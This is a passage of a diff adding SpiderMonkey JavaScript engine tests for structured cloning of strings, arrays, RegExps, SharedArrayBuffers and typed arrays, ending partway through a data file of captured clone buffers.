+ b["\xff\x7f\u7fff\uffff\ufeff\ufffe"] = 1;
+ b["\ud800 \udbff \udc00 \udfff"] = 2;
+ check(b);
+
+ // Check that array's .length property is cloned.
+ b = Array(5);
+ assertEq(b.length, 5);
+ a = check(b);
+ assertEq(a.length, 5);
+
+ b = Array(0);
+ b[1] = "ok";
+ a = check(b);
+ assertEq(a.length, 2);
+
+ // Check that prototypes are not cloned, per spec.
+ b = Object.create({x:1});
+ b.y = 2;
+ b.z = 3;
+ check(b);
+
+ // Check that cloning does not separate merge points in the tree.
+ var same = {};
+ b = {one: same, two: same};
+ a = check(b);
+ assertEq(a.one === a.two, true);
+
+ b = [same, same];
+ a = check(b);
+ assertEq(a[0] === a[1], true);
+
+ /*
+ XXX TODO spin this out into its own test
+ // This fails quickly with an OOM error. An exception would be nicer.
+ function Infinitree() {
+ return { get left() { return new Infinitree; },
+ get right() { return new Infinitree; }};
+ }
+ var threw = false;
+ try {
+ serialize(new Infinitree);
+ } catch (exc) {
+ threw = true;
+ }
+ assertEq(threw, true);
+ */
+
+ // Clone an array with holes.
+ check([0, 1, 2, , 4, 5, 6]);
+
+ // Array holes should not take up space.
+ b = [];
+ b[255] = 1;
+ check(b);
+ assertEq(serialize(b).clonebuffer.length < 255, true);
+
+ // Check that trailing holes in an array are preserved.
+ b = [1,2,3,,];
+ assertEq(b.length, 4);
+ a = check(b);
+ assertEq(a.length, 4);
+ assertEq(a.toString(), "1,2,3,");
+
+ b = [1,2,3,,,];
+ assertEq(b.length, 5);
+ a = check(b);
+ assertEq(a.length, 5);
+ assertEq(a.toString(), "1,2,3,,");
+
+ // Self-modifying object.
+ // This should never read through to b's prototype.
+ b = Object.create({y: 2},
+ {x: {enumerable: true,
+ configurable: true,
+ get: function() { if (this.hasOwnProperty("y")) delete this.y; return 1; }},
+ y: {enumerable: true,
+ configurable: true,
+ writable: true,
+ value: 3}});
+ check(b, "selfModifyingObject");
+
+ // Ignore properties with object-ids.
+ var uri = "http://example.net";
+ b = {x: 1, y: 2};
+ Object.defineProperty(b, Array(uri, "x"), {enumerable: true, value: 3});
+ Object.defineProperty(b, Array(uri, "y"), {enumerable: true, value: 5});
+ check(b);
+}
+
+test();
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/extensions/clone-regexp.js b/js/src/tests/non262/extensions/clone-regexp.js
new file mode 100644
index 0000000000..8541dae98c
--- /dev/null
+++ b/js/src/tests/non262/extensions/clone-regexp.js
@@ -0,0 +1,36 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+function testRegExp(b, c=b) {
+ var a = deserialize(serialize(b));
+ assertEq(a === b, false);
+ assertEq(Object.getPrototypeOf(a), RegExp.prototype);
+ assertEq(Object.prototype.toString.call(a), "[object RegExp]");
+ for (p in a)
+ throw new Error("cloned RegExp should have no enumerable properties");
+
+ assertEq(a.source, c.source);
+ assertEq(a.global, c.global);
+ assertEq(a.ignoreCase, c.ignoreCase);
+ assertEq(a.multiline, c.multiline);
+ assertEq(a.sticky, c.sticky);
+ assertEq("expando" in a, false);
+}
+
+testRegExp(RegExp(""));
+testRegExp(/(?:)/);
+testRegExp(/^(.*)$/gimy);
+
+var re = /\bx\b/gi;
+re.expando = true;
+testRegExp(re);
+// `source` and the flag accessors are defined on RegExp.prototype, so they're
+// not available after re.__proto__ has been changed. We solve that by passing
+// in an additional copy of the same RegExp to compare the
+// serialized-then-deserialized clone with."
+re.__proto__ = {};
+testRegExp(re, /\bx\b/gi);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/extensions/clone-sab-failure.js b/js/src/tests/non262/extensions/clone-sab-failure.js
new file mode 100644
index 0000000000..ff24dcb9e5
--- /dev/null
+++ b/js/src/tests/non262/extensions/clone-sab-failure.js
@@ -0,0 +1,39 @@
+// |reftest| skip-if(!xulRuntime.shell)
+/* -*- Mode: js2; tab-width: 40; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+// Failure to serialize an object containing a SAB should not leave the SAB's
+// rawbuffer's reference count incremented.
+
+if (!this.SharedArrayBuffer || !this.sharedArrayRawBufferRefcount) {
+ reportCompare(true,true);
+ quit(0);
+}
+
+let x = new SharedArrayBuffer(1);
+
+// Initially the reference count is 1.
+assertEq(sharedArrayRawBufferRefcount(x), 1);
+
+let y = serialize(x, [], {SharedArrayBuffer: 'allow'});
+
+// Serializing it successfully increments the reference count.
+assertEq(sharedArrayRawBufferRefcount(x), 2);
+
+// Serializing something containing a function should throw.
+var failed = false;
+try {
+ serialize([x, function () {}]);
+}
+catch (e) {
+ failed = true;
+}
+assertEq(failed, true);
+
+// Serializing the SAB unsuccessfully does not increment the reference count.
+assertEq(sharedArrayRawBufferRefcount(x), 2);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/extensions/clone-sab.js b/js/src/tests/non262/extensions/clone-sab.js
new file mode 100644
index 0000000000..3b35f90abc
--- /dev/null
+++ b/js/src/tests/non262/extensions/clone-sab.js
@@ -0,0 +1,31 @@
+// |reftest| skip-if(!xulRuntime.shell)
+/* -*- Mode: js2; tab-width: 40; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+// Deserialize a serialization buffer containing a reference to a
+// SharedArrayBuffer buffer object enough times and we will crash because of a
+// reference counting bug.
+
+if (!this.SharedArrayBuffer) {
+ reportCompare(true,true);
+ quit(0);
+}
+
+let x = new SharedArrayBuffer(1);
+let y = serialize(x, [], {SharedArrayBuffer: 'allow'});
+x = null;
+
+// If the bug is present this loop usually crashes quickly during
+// deserialization because the memory has become unmapped.
+
+for (let i=0 ; i < 50 ; i++ ) {
+ let obj = deserialize(y, {SharedArrayBuffer: 'allow'});
+ let z = new Int8Array(obj);
+ z[0] = 0;
+}
+
+reportCompare(true, true);
+
diff --git a/js/src/tests/non262/extensions/clone-simple.js b/js/src/tests/non262/extensions/clone-simple.js
new file mode 100644
index 0000000000..b7684dd02a
--- /dev/null
+++ b/js/src/tests/non262/extensions/clone-simple.js
@@ -0,0 +1,33 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+function testEq(b) {
+ var a = deserialize(serialize(b));
+ assertEq(a, b);
+}
+
+testEq(void 0);
+testEq(null);
+
+testEq(true);
+testEq(false);
+
+testEq(0);
+testEq(-0);
+testEq(1/0);
+testEq(-1/0);
+testEq(0/0);
+testEq(Math.PI);
+
+testEq("");
+testEq("\0");
+testEq("a"); // unit string
+testEq("ab"); // length-2 string
+testEq("abc\0123\r\n"); // nested null character
+testEq("\xff\x7f\u7fff\uffff\ufeff\ufffe"); // random unicode stuff
+testEq("\ud800 \udbff \udc00 \udfff"); // busted surrogate pairs
+testEq(Array(1024).join(Array(1024).join("x"))); // 2MB string
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/extensions/clone-transferables.js b/js/src/tests/non262/extensions/clone-transferables.js
new file mode 100644
index 0000000000..6b3ff99079
--- /dev/null
+++ b/js/src/tests/non262/extensions/clone-transferables.js
@@ -0,0 +1,129 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+function* buffer_options() {
+ for (var scope of ["SameProcess",
+ "DifferentProcess",
+ "DifferentProcessForIndexedDB"])
+ {
+ for (var size of [0, 8, 16, 200, 1000, 4096, 8192, 65536]) {
+ yield { scope, size };
+ }
+ }
+}
+
+
+function test() {
+ for (var {scope, size} of buffer_options()) {
+ var old = new ArrayBuffer(size);
+ var copy = deserialize(serialize([old, old], [old], { scope }), { scope });
+ assertEq(old.byteLength, 0);
+ assertEq(copy[0] === copy[1], true);
+ copy = copy[0];
+ assertEq(copy.byteLength, size);
+
+ var constructors = [ Int8Array,
+ Uint8Array,
+ Int16Array,
+ Uint16Array,
+ Int32Array,
+ Uint32Array,
+ Float32Array,
+ Float64Array,
+ Uint8ClampedArray,
+ DataView ];
+
+ for (var ctor of constructors) {
+ var dataview = (ctor === DataView);
+
+ var buf = new ArrayBuffer(size);
+ var old_arr = new ctor(buf);
+ assertEq(buf.byteLength, size);
+ assertEq(buf, old_arr.buffer);
+ if (!dataview)
+ assertEq(old_arr.length, size / old_arr.BYTES_PER_ELEMENT);
+
+ var copy_arr = deserialize(serialize(old_arr, [ buf ], { scope }), { scope });
+ assertEq(buf.byteLength, 0,
+ "donor array buffer should be detached");
+ if (!dataview) {
+ assertEq(old_arr.length, 0,
+ "donor typed array should be detached");
+ }
+ assertEq(copy_arr.buffer.byteLength == size, true);
+ if (!dataview)
+ assertEq(copy_arr.length, size / old_arr.BYTES_PER_ELEMENT);
+
+ buf = null;
+ old_arr = null;
+ gc(); // Tickle the ArrayBuffer -> view management
+ }
+
+ for (var ctor of constructors) {
+ var dataview = (ctor === DataView);
+
+ var buf = new ArrayBuffer(size);
+ var old_arr = new ctor(buf);
+ var dv = new DataView(buf); // Second view
+ var copy_arr = deserialize(serialize(old_arr, [ buf ], { scope }), { scope });
+ assertEq(buf.byteLength, 0,
+ "donor array buffer should be detached");
+ if (!dataview) {
+ assertEq(old_arr.byteLength, 0,
+ "donor typed array should be detached");
+ assertEq(old_arr.length, 0,
+ "donor typed array should be detached");
+ }
+
+ buf = null;
+ old_arr = null;
+ gc(); // Tickle the ArrayBuffer -> view management
+ }
+
+ // Mutate the buffer during the clone operation. The modifications should be visible.
+ if (size >= 4) {
+ old = new ArrayBuffer(size);
+ var view = new Int32Array(old);
+ view[0] = 1;
+ var mutator = { get foo() { view[0] = 2; } };
+ var copy = deserialize(serialize([ old, mutator ], [ old ], { scope }), { scope });
+ var viewCopy = new Int32Array(copy[0]);
+ assertEq(view.length, 0); // Underlying buffer now detached.
+ assertEq(viewCopy[0], 2);
+ }
+
+ // Detach the buffer during the clone operation. Should throw an
+ // exception.
+ if (size >= 4) {
+ const b1 = new ArrayBuffer(size);
+ let mutator = {
+ get foo() {
+ serialize(b1, [b1], { scope });
+ }
+ };
+
+ assertThrowsInstanceOf(
+ () => serialize([ b1, mutator ], [b1]),
+ TypeError,
+ "detaching (due to Transferring) while serializing should throw"
+ );
+
+ const b2 = new ArrayBuffer(size);
+ mutator = {
+ get foo() {
+ detachArrayBuffer(b2);
+ }
+ };
+
+ assertThrowsInstanceOf(
+ () => serialize([ b2, mutator ], [b2]),
+ TypeError,
+ "detaching (due to detachArrayBuffer) while serializing should throw"
+ );
+ }
+ }
+}
+
+test();
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/extensions/clone-typed-array.js b/js/src/tests/non262/extensions/clone-typed-array.js
new file mode 100644
index 0000000000..77f0376e91
--- /dev/null
+++ b/js/src/tests/non262/extensions/clone-typed-array.js
@@ -0,0 +1,104 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+function assertArraysEqual(a, b) {
+ assertEq(a.constructor, b.constructor);
+ assertEq(a.length, b.length);
+ for (var i = 0; i < a.length; i++)
+ assertEq(a[i], b[i]);
+}
+
+function check(b) {
+ var a = deserialize(serialize(b));
+ assertArraysEqual(a, b);
+}
+
+function checkPrototype(ctor) {
+ var threw = false;
+ try {
+ serialize(ctor.prototype);
+ throw new Error("serializing " + ctor.name + ".prototype should throw a TypeError");
+ } catch (exc) {
+ if (!(exc instanceof TypeError))
+ throw exc;
+ }
+}
+
+function test() {
+ // Test cloning ArrayBuffer objects.
+ check(new ArrayBuffer(0));
+ check(new ArrayBuffer(7));
+ checkPrototype(ArrayBuffer);
+
+ // Test cloning typed array objects.
+ var ctors = [
+ Int8Array,
+ Uint8Array,
+ Int16Array,
+ Uint16Array,
+ Int32Array,
+ Uint32Array,
+ Float32Array,
+ Float64Array,
+ Uint8ClampedArray];
+
+ var b;
+ for (var i = 0; i < ctors.length; i++) {
+ var ctor = ctors[i];
+
+ // check empty array
+ b = new ctor(0);
+ check(b);
+
+ // check array with some elements
+ b = new ctor(100);
+ var v = 1;
+ for (var j = 0; j < 100; j++) {
+ b[j] = v;
+ v *= 7;
+ }
+ b[99] = NaN; // check serializing NaNs too
+ check(b);
+
+ // try the prototype
+ checkPrototype(ctor);
+ }
+
+ // Two TypedArrays backed by the same ArrayBuffer should be cloned into two
+ // TypedArrays still sharing a buffer. This also tests cloning TypedArrays
+ // where the arr->data pointer is not 8-byte-aligned.
+
+ var base = new Int8Array([0, 1, 2, 3]);
+ b = [new Int8Array(base.buffer, 0, 3), new Int8Array(base.buffer, 1, 3)];
+ var a = deserialize(serialize(b));
+ base[1] = -1;
+ a[0][2] = -2;
+ assertArraysEqual(b[0], new Int8Array([0, -1, 2])); // shared with base
+ assertArraysEqual(b[1], new Int8Array([-1, 2, 3])); // shared with base
+ assertArraysEqual(a[0], new Int8Array([0, 1, -2])); // not shared with base
+ assertArraysEqual(a[1], new Int8Array([1, -2, 3])); // not shared with base, shared with a[0]
+
+ assertEq(b[0].buffer, b[1].buffer);
+ assertEq(b[1].byteOffset, 1);
+ assertEq(b[1].byteLength, 3);
+ assertEq(b[1].buffer.byteLength, 4);
+
+ // ArrayBuffer clones do not preserve properties
+
+ base = new Int8Array([0, 1, 2, 3]);
+ b = [new Int8Array(base.buffer, 0, 3), new Int8Array(base.buffer, 1, 3)];
+ base.buffer.prop = "yes";
+ base.buffer.loop = b[0];
+ base.buffer.loops = [ b[0], b[1] ];
+ a = deserialize(serialize(b));
+ assertEq("prop" in a[0].buffer, false);
+ assertEq("prop" in a[1].buffer, false);
+ assertEq("loop" in a[0].buffer, false);
+ assertEq("loop" in a[1].buffer, false);
+ assertEq("loops" in a[0].buffer, false);
+ assertEq("loops" in a[1].buffer, false);
+}
+
+test();
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/extensions/clone-v1-typed-array-data.dat b/js/src/tests/non262/extensions/clone-v1-typed-array-data.dat
new file mode 100644
index 0000000000..9ced341009
--- /dev/null
+++ b/js/src/tests/non262/extensions/clone-v1-typed-array-data.dat
@@ -0,0 +1,32 @@
+var captured = [];
+captured[0] = serialize(0); captured[0].clonebuffer = String.fromCharCode(0, 0, 0, 0, 9, 0, 255, 255);
+captured[1] = serialize(0); captured[1].clonebuffer = String.fromCharCode(7, 0, 0, 0, 9, 0, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0);
+captured[2] = (new TypeError("unsupported type for structured data", "js1_8_5/extensions/clone-v1-typed-array.js", 19));
+captured[3] = serialize(0); captured[3].clonebuffer = String.fromCharCode(0, 0, 0, 0, 0, 1, 255, 255);
+captured[4] = serialize(0); captured[4].clonebuffer = String.fromCharCode(100, 0, 0, 0, 0, 1, 255, 255, 1, 7, 49, 87, 97, 167, 145, 247, 193, 71, 241, 151, 33, 231, 81, 55, 129, 135, 177, 216, 224, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
+captured[5] = (new TypeError("unsupported type for structured data", "js1_8_5/extensions/clone-v1-typed-array.js", 19));
+captured[6] = serialize(0); captured[6].clonebuffer = String.fromCharCode(0, 0, 0, 0, 1, 1, 255, 255);
+captured[7] = serialize(0); captured[7].clonebuffer = String.fromCharCode(100, 0, 0, 0, 1, 1, 255, 255, 1, 7, 49, 87, 97, 167, 145, 247, 193, 71, 241, 151, 33, 231, 81, 55, 129, 135, 177, 216, 224, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
+captured[8] = (new TypeError("unsupported type for structured data", "js1_8_5/extensions/clone-v1-typed-array.js", 19));
+captured[9] = serialize(0); captured[9].clonebuffer = String.fromCharCode(0, 0, 0, 0, 2, 1, 255, 255);
+captured[10] = serialize(0); captured[10].clonebuffer = String.fromCharCode(100, 0, 0, 0, 2, 1, 255, 255, 1, 0, 7, 0, 49, 0, 87, 1, 97, 9, 167, 65, 145, 203, 247, 144, 193, 246, 71, 191, 241, 58, 151, 156, 33, 72, 231, 248, 81, 206, 55, 164, 129, 125, 135, 110, 177, 5, 216, 39, 224, 22, 0, 160, 0, 96, 0, 160, 0, 128, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
+captured[11] = (new TypeError("unsupported type for structured data", "js1_8_5/extensions/clone-v1-typed-array.js", 19));
+captured[12] = serialize(0); captured[12].clonebuffer = String.fromCharCode(0, 0, 0, 0, 3, 1, 255, 255);
+captured[13] = serialize(0); captured[13].clonebuffer = String.fromCharCode(100, 0, 0, 0, 3, 1, 255, 255, 1, 0, 7, 0, 49, 0, 87, 1, 97, 9, 167, 65, 145, 203, 247, 144, 193, 246, 71, 191, 241, 58, 151, 156, 33, 72, 231, 248, 81, 206, 55, 164, 129, 125, 135, 110, 177, 5, 216, 39, 224, 22, 0, 160, 0, 96, 0, 160, 0, 128, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
+captured[14] = (new TypeError("unsupported type for structured data", "js1_8_5/extensions/clone-v1-typed-array.js", 19));
+captured[15] = serialize(0); captured[15].clonebuffer = String.fromCharCode(0, 0, 0, 0, 4, 1, 255, 255);
+captured[16] = serialize(0); captured[16].clonebuffer = String.fromCharCode(100, 0, 0, 0, 4, 1, 255, 255, 1, 0, 0, 0, 7, 0, 0, 0, 49, 0, 0, 0, 87, 1, 0, 0, 97, 9, 0, 0, 167, 65, 0, 0, 145, 203, 1, 0, 247, 144, 12, 0, 193, 246, 87, 0, 71, 191, 103, 2, 241, 58, 214, 16, 151, 156, 219, 117, 33, 72, 1, 57, 231, 248, 8, 143, 81, 206, 62, 233, 55, 164, 183, 96, 129, 125, 5, 165, 135, 110, 38, 131, 177, 5, 13, 150, 216, 39, 91, 26, 224, 22, 126, 184, 0, 160, 114, 11, 0, 96, 34, 80, 0, 160, 240, 48, 0, 128, 148, 86, 0, 0, 16, 94, 0, 0, 112, 146, 0, 0, 0, 1, 0, 0, 0, 8, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
+captured[17] = (new TypeError("unsupported type for structured data", "js1_8_5/extensions/clone-v1-typed-array.js", 19));
+captured[18] = serialize(0); captured[18].clonebuffer = String.fromCharCode(0, 0, 0, 0, 5, 1, 255, 255);
+captured[19] = serialize(0); captured[19].clonebuffer = String.fromCharCode(100, 0, 0, 0, 5, 1, 255, 255, 1, 0, 0, 0, 7, 0, 0, 0, 49, 0, 0, 0, 87, 1, 0, 0, 97, 9, 0, 0, 167, 65, 0, 0, 145, 203, 1, 0, 247, 144, 12, 0, 193, 246, 87, 0, 71, 191, 103, 2, 241, 58, 214, 16, 151, 156, 219, 117, 33, 72, 1, 57, 231, 248, 8, 143, 81, 206, 62, 233, 55, 164, 183, 96, 129, 125, 5, 165, 135, 110, 38, 131, 177, 5, 13, 150, 216, 39, 91, 26, 224, 22, 126, 184, 0, 160, 114, 11, 0, 96, 34, 80, 0, 160, 240, 48, 0, 128, 148, 86, 0, 0, 16, 94, 0, 0, 112, 146, 0, 0, 0, 1, 0, 0, 0, 8, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
+captured[20] = (new TypeError("unsupported type for structured data", "js1_8_5/extensions/clone-v1-typed-array.js", 19));
+captured[21] = serialize(0); captured[21].clonebuffer = String.fromCharCode(0, 0, 0, 0, 6, 1, 255, 255);
+captured[22] = serialize(0); captured[22].clonebuffer = String.fromCharCode(100, 0, 0, 0, 6, 1, 255, 255, 0, 0, 128, 63, 0, 0, 224, 64, 0, 0, 68, 66, 0, 128, 171, 67, 0, 16, 22, 69, 0, 78, 131, 70, 128, 200, 229, 71, 112, 15, 73, 73, 130, 237, 175, 74, 210, 239, 25, 76, 216, 177, 134, 77, 57, 183, 235, 78, 82, 64, 78, 80, 72, 120, 180, 81, 63, 233, 29, 83, 23, 44, 138, 84, 40, 205, 241, 85, 131, 147, 83, 87, 19, 33, 185, 88, 240, 252, 33, 90, 82, 189, 141, 91, 80, 11, 248, 92, 230, 9, 89, 94, 169, 232, 189, 95, 148, 43, 38, 97, 34, 102, 145, 98, 187, 114, 254, 99, 100, 164, 94, 101, 215, 207, 194, 102, 220, 117, 42, 104, 33, 39, 149, 105, 61, 130, 2, 107, 234, 99, 100, 108, 109, 215, 199, 109, 127, 220, 46, 111, 239, 0, 153, 112, 209, 224, 5, 114, 110, 73, 106, 115, 65, 0, 205, 116, 57, 96, 51, 118, 49, 244, 156, 119, 171, 85, 9, 121, 236, 85, 112, 122, 46, 75, 210, 123, 200, 1, 56, 125, 143, 1, 161, 126, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 192, 127);
+captured[23] = (new TypeError("unsupported type for structured data", "js1_8_5/extensions/clone-v1-typed-array.js", 19));
+captured[24] = serialize(0); captured[24].clonebuffer = String.fromCharCode(0, 0, 0, 0, 7, 1, 255, 255);
+captured[25] = serialize(0); captured[25].clonebuffer = String.fromCharCode(100, 0, 0, 0, 7, 1, 255, 255, 0, 0, 0, 0, 0, 0, 240, 63, 0, 0, 0, 0, 0, 0, 28, 64, 0, 0, 0, 0, 0, 128, 72, 64, 0, 0, 0, 0, 0, 112, 117, 64, 0, 0, 0, 0, 0, 194, 162, 64, 0, 0, 0, 0, 192, 105, 208, 64, 0, 0, 0, 0, 16, 185, 252, 64, 0, 0, 0, 0, 238, 33, 41, 65, 0, 0, 0, 64, 176, 253, 85, 65, 0, 0, 0, 56, 250, 61, 131, 65, 0, 0, 0, 241, 58, 214, 176, 65, 0, 0, 192, 37, 231, 118, 221, 65, 0, 0, 8, 65, 10, 200, 9, 66, 0, 0, 231, 248, 8, 143, 54, 66, 0, 32, 202, 217, 39, 189, 99, 66, 0, 220, 144, 222, 130, 69, 145, 66, 0, 129, 125, 5, 165, 57, 190, 66, 224, 208, 205, 100, 112, 114, 234, 66, 196, 22, 52, 88, 34, 36, 23, 67, 236, 147, 45, 13, 158, 63, 68, 67, 110, 225, 135, 75, 170, 183, 113, 67, 128, 202, 45, 4, 106, 1, 159, 67, 48, 17, 168, 195, 60, 33, 203, 67, 10, 15, 51, 43, 21, 189, 247, 67, 41, 173, 204, 133, 114, 197, 36, 68, 132, 23, 19, 53, 196, 44, 82, 68, 39, 105, 225, 92, 87, 206, 127, 68, 2, 60, 69, 113, 140, 212, 171, 68, 130, 148, 28, 227, 250, 89, 216, 68, 242, 1, 185, 134, 187, 78, 5, 69, 180, 225, 225, 